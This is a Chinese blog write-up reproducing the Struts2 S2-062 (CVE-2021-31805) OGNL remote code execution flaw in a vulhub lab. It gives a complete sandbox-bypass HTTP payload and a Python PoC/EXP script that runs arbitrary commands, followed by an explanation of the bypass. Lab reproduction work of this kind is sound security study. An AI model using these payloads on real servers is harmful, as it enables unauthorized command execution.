CVE漏洞复现-CVE-2021-31805-struts2 s2-062 ONGL远程代码执行

CVE-2021-31805-struts2 s2-062 ONGL远程代码执行

Struts2介绍

在这里插入图片描述

什么是MVC(Model-View-Controller)?

MVC是模型(Model)、视图(View)、控制器(Controller)的简写,是一种软件设计规范,是将业务逻辑、数据、显示分离的方法来组织代码,MVC主要作用是降低了视图与业务逻辑间的双向偶合。MVC不是一种设计模式,MVC是一种架构模式。

  1. Model(模型):数据模型,提供要展示的数据,因此包含数据和行为,可以认为是领域模型或JavaBean组件(包含数据和行为),不过现在一般都分离开来:ValueObject(数据Dao) 和 服务层(行为Service)。也就是该模型提供了模型数据查询和模型数据的状态更新等功能,包括数据和业务。
  2. View(视图):负责进行模型的展示,一般就是我们见到的用户界面,客户想看到的东西。
  3. Controller(控制器):接收用户请求,委托给模型进行处理(状态改变),处理完毕后把返回的模型数据返回给视图,由视图负责展示。

MVC有多种:

最典型的MVC就是JSP+servlet+javabean 的模式,其实就是刚开始学javaweb用到的东西

在这里插入图片描述

没有MVC组件:

1、为每个请求编写处理的Servlet
2、使用getParameter()获取请求参数
3、转换参数的数据类型,包括实体对象
4、处理重定向和转发URL

有MVC:

分离页面展示代码和业务逻辑代码,提升可维护性、提升开发效率

什么是Struts?

Struts是Apache软件基金会(ASF)赞助的一个开源项目。它最初是Jakarta项目中的一个子项目,并在2004年3月成为ASF的顶级项目。它通过采用Java Servlet/JSP技术,实现了基于Java EE Web应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。

在Struts中,已经由一个名为ActionServlet的Servlet充当控制器(Controller)的角色,根据描述模型、视图、控制器对应关系的struts-config.xml的配置文件,转发视图(View)的请求,组装响应数据模型(Model)。在MVC的模型(Model)部分,经常划分为两个主要子系统(系统的内部数据状态与改变数据状态的逻辑动作),这两个概念子系统分别具体对应Struts里的ActionForm与Action两个需要继承实现超类。在这里,Struts可以与各种标准的数据访问技术结合在一起,包括Enterprise Java Beans(EJB),JDBC与JNDI。在Struts的视图(View)端,除了使用标准的JavaServer Pages(JSP)以外,还提供了大量的标签库使用,同时也可以与其他表现层组件技术(产品)进行整合,比如Velocity Templates,XSLT等。通过应用Struts的框架,最终用户可以把大部分的关注点放在自己的业务逻辑(Action)与 映射关系的配置文件(struts-config.xml)中。

2006年,WebWork与Struts的Java EEWeb框架的团体,决定合作共同开发一个新的,整合了WebWork与Struts优点,并且更加优雅、扩展性更强的框架,命名为“Struts 2”,原Struts的1.x版本产品称为“Struts 1”。Struts项目并行提供与维护两个主要版本的框架产品——Struts 1与Struts 2。

Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java ServletAPI,鼓励开发者采用MVC架构。

缘起于Apache Struts的WebWork框架,旨在提供相对于Struts框架的增强和改进,同时保留与Struts框架类似的结构。2005年12月,WebWork宣布WebWork 2.2以Apache Struts 2的名义合并至Struts。2007年2月第一个全发布(full release)版本释出。

s2-062漏洞概况

关联漏洞:
CVE-2020-17530 (S2-061)

2022年4月13日 恶意OGNL表达式,远程代码执行:
https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2021-31805
https://cwiki.apache.org/confluence/display/WW/S2-062

漏洞影响版本:
2.0.0 <= Apache Struts <= 2.5.29

Struts历史漏洞:

https://struts.apache.org/releases.html
https://www.cnblogs.com/qiantan/p/10695567.html

贡献:

在这里插入图片描述

s2-062漏洞复现

vulhub Docker构建靶场(这个大家应该都会,这里就不写了)

1、vlhub进入struts2的s2-061执行

docker-compose up -d

检查环境是否启动

docker-compose ps

在这里插入图片描述

2、浏览器输入http://IP:8080/index.action?id=123

在这里插入图片描述

然后我们右键查看源码,发现他会将我们id后构造的参数作为结果输出到页面上

在这里插入图片描述

3、我们继续构造以下URL,http://192.168.0.105:8080/index.action?id=%25{6*6}

在这里插入图片描述然后我们右键查看源码,发现id的数变得不一样了,居然将我们构造输入的语句当作乘法表达式执行了

在这里插入图片描述

4、构造以下payload执行命令(这里要改为你自己的端口和主机号)

POST /index.action HTTP/1.1
Host: xx.xx.xx.xx:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 833


------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"


%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

在这里插入图片描述

发现这里会执行我们输入的语句

5、因为本次复现的是S2-62的漏洞,所以在这里使用S2-62的一个exp:

https://github.com/YanMu2020/s2-062

漏洞利用POC:

import requests
from lxml import etree
import argparse

def poc(url):
    try:
        headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"}
        data = "------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94"
        text=requests.post(url, headers=headers, data=data).text
        if "id" in text:
            print("发现漏洞")
            page=etree.HTML(text)
            data = page.xpath('//a[@id]/@id')
            print(data[0])
    except:
        print("POC检测失败")

def EXP(url,cmd):
    try:
        headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"}
        data ="------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94".replace("exec({'id","exec({'"+cmd)
        text=requests.post(url, headers=headers, data=data).text
        if "id" in text:
            print("命令回显")
            page=etree.HTML(text)
            data = page.xpath('//a[@id]/@id')
            print(data[0])
    except:
        print("EXP检测失败")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='S2-062验证')
    parser.add_argument('--url', help="要验证的URL")
    parser.add_argument('--cmd',help="你想执行的命令",default="")
    args = parser.parse_args()
    if args.cmd !="":
        EXP(args.url,args.cmd)
    else:
        poc(args.url)

执行语句,发现漏洞存在

python s2-062.py --url http://192.168.0.105:8080

在这里插入图片描述

执行语句,命令回显

python s2-062.py --url http://192.168.0.105:8080 --cmd whoami

在这里插入图片描述执行语句,浏览当前目录

python s2-062.py --url http://192.168.0.105:8080 --cmd dir

在这里插入图片描述

漏洞原理分析

概述:

项目使用了%{}解析OGNL表达式,对用户输入的内容进行二次解析的时候,如果没有验证, 可能导致远程代码执行

OGNL是什么?

Object-Graph Navigation Language(对象 图导航语言), 一种开源的 Java 表达式语言,用于对数据进行访问,拥有类型转换、访问对象方法、操作集合对象等功能

OGNL和Struts2

参考《OGNL和Struts标签.pdf》,链接在下面

链接:https://pan.baidu.com/s/1AjzTFtHlXewIYLh2KQhKGw?pwd=6666 
提取码:6666 

OGNL是Struts默认支持的表达式语言,OGNL可以取值赋值、访问类的静态方法和属性,访问OGNL上下文。Struts的上下文根对象: ValueStack,%{}用来把字符串转换成表达式 %25就是URL编码的%。可以在struts.xml和struts标签等地方使用OGNL 表达式

payload的分析

POST /index.action HTTP/1.1
Host: xx.xx.xx.xx:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 833


------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"


%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
  • InstanceManager:用于实例化任意对象
  • BeanMap:可以调用对象的getter、setter, setBean()可以更新对象
  • valueStack:ONGL的根对象
  • memberAccess:控制对象的访问
  • setExcludedPackageNames()
  • setExcludedClasses()清除黑名单
  • Execute类:黑名单类,exec可以执行Shell

总结:使用BeanMap绕过了Struts2的黑名单(沙盒机制),并实例化了可以执行代码的类

posted @ 2023-04-07 22:55  私ははいしゃ敗者です  阅读(89)  评论(0编辑  收藏  举报  来源